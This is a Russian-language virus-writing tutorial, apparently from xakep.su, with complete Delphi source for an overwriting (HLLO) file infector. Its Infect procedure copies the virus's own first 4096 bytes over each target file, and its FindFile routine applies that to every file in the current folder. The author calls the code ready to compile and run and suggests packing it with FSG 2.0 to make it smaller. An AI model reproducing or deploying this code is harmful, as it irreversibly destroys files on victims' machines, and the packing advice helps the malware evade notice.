Согласно этой информации создаём файлы: system.pas и sysinit.pas, далее из них system.dcu и sysinit.dcu. Теперь размещаем все эти 4 файла в папку нашего будущего проекта и создаём в этой папке файл hllo.dpr со строками: Program VirusHLLO; begin end. Теперь запускаем hllo.dpr в Delphi, компилируем и убеждаемся в том, что размер пустой проги равен – 3,5кб, если это так то можно преступать к создания виря. Если нет, значит надо перечитать урок 4 и получить этот результат, но думаю, что всё у вас получилось, поэтому двигаемся дальше. Как и в прошлом случае вирус имеет две основные части: - процедура заражения - процедура поиска жертв Процедура заражения будет в нашем случае иметь приблизительно такие очертания:
const //Необходимы константы, перенесены из модуля Windows
VirSize = 4096;//Размер вируса FILE_ATTRIBUTE_NORMAL = $00000080; SHELL32 = 'shell32.dll'; FILE_SHARE_WRITE = $00000002;//Атрибут записи FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения KERNEL32 = 'kernel32.dll'; MAX_PATH = 260;//Максимальная длина пути CREATE_ALWAYS = 2;//Открыть новый GENERIC_READ = $80000000; GENERIC_WRITE = $40000000; OPEN_EXISTING = 3; TRUNCATE_EXISTING = 5;//Открытие с перезаписью
type //Типы необходимые функции CreateFile, перенесены из модуля Windows POverlapped = ^TOverlapped; TOverlapped = record Internal: Cardinal; InternalHigh: Cardinal; Offset: Cardinal; OffsetHigh: Cardinal; hEvent: Cardinal; end; PSecurityAttributes = ^TSecurityAttributes; TSecurityAttributes = record nLength: Cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: Boolean; end; PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA'; //Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile'; //Чтение из файла (объекта) function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile'; //Запись из файл (объекта) function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle'; //Закрытие файла (объекта) function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA'; //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
Procedure Infect(path : PChar); var pch : PathBuf; B : INTEGER; F : INTEGER; Buf : array [1..VirSize] of Char; begin GetModuleFileName(0, pch, MAX_PATH);//Опеделяем путь к себе F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя ReadFile(F, Buf, VirSize, B, nil); //Читаем себя в буфер CloseHandle(F); //Закрываем себя F := CreateFile(path, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву с перезаписью WriteFile(F, Buf, VirSize, B, nil); //Пишем буфер в жертву CloseHandle(F); //Закрываем жертву end;
Как видите, всё весьма банально и если не брать в расчёт то, что приходится переносить из модуля Windows, то использование WinAPI не так уж и сложно реализуется, зато даёт значительно более гибкие возможности реализации, более широко обратиться к файлу получится только на ассемблере. Теперь необходимо разобраться с поиском файлов. Процедуру поиска файлов и скармливания их процедуре Infect привожу ниже, смотрим и удивляемся:
const ATTR_DIR = $00000010;//Атрибут директории
type TFileTime = record //Запись передачи даты и времени dwLowDateTime: INTEGER; dwHighDateTime: INTEGER; end;
FindRec = record //Запись в которую возврящаются параметры поиска файлов dwFileAttributes: INTEGER; //Атрибуты ftCreationTime: TFileTime; //Время создания ftLastAccessTime: TFileTime;//Время последнего обращения ftLastWriteTime: TFileTime; //Время последнего изменения nFileSizeHigh: INTEGER; //Размер реальный nFileSizeLow: INTEGER; //Размер на диске dwReserved0: INTEGER; //Резерв dwReserved1: INTEGER; //Резерв cFileName: PathBuf; //Полное имя файла cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3 end;
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA'; //Поиск первого файла в указанном каталоге по маске function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA'; //Поиск следующего файла в сессии начатой FindNextFile
procedure FindFile; var H : integer; R : FindRec; begin H:=FindFirstFile(#42#46#42,R); //Ищем все файлы в заданном каталоге с заданной маской while H<>0 do //Ищем пока все не найдём begin if (R.cFileName[0]<>'.') or (R.cFileName[1]<>'.') then infect(R.cFileName);//Заражение if not FindNextFile(h,R) then break;//Ищем дальше end; end;
Я думаю, мало у кого возникнет проблема во вставке этих процедур в заготовку и вызова в основной части процедуры FindFile, но что бы вопросов не возникало, привожу весь исходник и с перенесёнными функциями, типами и константами в одно место.
Program VirusHLLO;//Пример HllO вируса на Delphi (xakep.su)
const //Необходимы константы, перенесены из модуля Windows
VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1289 байт FILE_ATTRIBUTE_NORMAL = $00000080; SHELL32 = 'shell32.dll'; FILE_SHARE_WRITE = $00000002;//Атрибут записи FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения KERNEL32 = 'kernel32.dll'; MAX_PATH = 260;//Максимальная длина пути CREATE_ALWAYS = 2;//Открыть новый GENERIC_READ = $80000000; GENERIC_WRITE = $40000000; OPEN_EXISTING = 3; TRUNCATE_EXISTING = 5;//Открытие с перезаписью ATTR_DIR = $00000010;//Атрибут директории
type //Типы необходимые функции CreateFile, перенесены из модуля Windows POverlapped = ^TOverlapped; TOverlapped = record Internal: Cardinal; InternalHigh: Cardinal; Offset: Cardinal; OffsetHigh: Cardinal; hEvent: Cardinal; end; PSecurityAttributes = ^TSecurityAttributes; TSecurityAttributes = record nLength: Cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: Boolean; end; PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени dwLowDateTime: INTEGER; dwHighDateTime: INTEGER; end;
FindRec = record //Запись в которую возврящаются параметры поиска файлов dwFileAttributes: INTEGER; //Атрибуты ftCreationTime: TFileTime; //Время создания ftLastAccessTime: TFileTime;//Время последнего обращения ftLastWriteTime: TFileTime; //Время последнего изменения nFileSizeHigh: INTEGER; //Размер реальный nFileSizeLow: INTEGER; //Размер на диске dwReserved0: INTEGER; //Резерв dwReserved1: INTEGER; //Резерв cFileName: PathBuf; //Полное имя файла cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3 end;
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA'; //Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile'; //Чтение из файла (объекта) function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile'; //Запись из файл (объекта) function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle'; //Закрытие файла (объекта) function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA'; //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA'; //Поиск первого файла в указанном каталоге по маске function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA'; //Поиск следующего файла в сессии начатой FindNextFile
Procedure Infect(path : PChar); var pch : PathBuf; B : INTEGER; F : INTEGER; Buf : array [1..VirSize] of Char; begin GetModuleFileName(0, pch, MAX_PATH);//Опеделяем путь к себе F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя ReadFile(F, Buf, VirSize, B, nil); //Читаем себя в буфер CloseHandle(F); //Закрываем себя F := CreateFile(path, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву с перезаписью WriteFile(F, Buf, VirSize, B, nil); //Пишем буфер в жертву CloseHandle(F); //Закрываем жертву end;
procedure FindFile; var H : integer; R : FindRec; begin H:=FindFirstFile(#42#46#42,R);//Поиск по маске *.* //Ищем все файлы в заданном каталоге с заданной маской while H<>0 do //Ищем пока все не найдём begin if (R.cFileName[0]<>'.') or (R.cFileName[1]<>'.') then//Если не папка то.. infect(R.cFileName);//Заражение if not FindNextFile(h,R) then break;//Ищем дальше end; end;
Begin FindFile;//Вызов поиска end.
Этот исходник полностью готов к компиляции и работе, проверять вирус, так же, как и его собратьев, путём размещения его в отдельную папку с жертвами и запуска. Как видите, размер вируса составил, ровно 4кб, но это далеко не предел. В сети вы без особого труда можете скачать упаковщик FSG 2.0 если им сжать этот вирус, то его размер составит 1289 байт.
xakep.su
|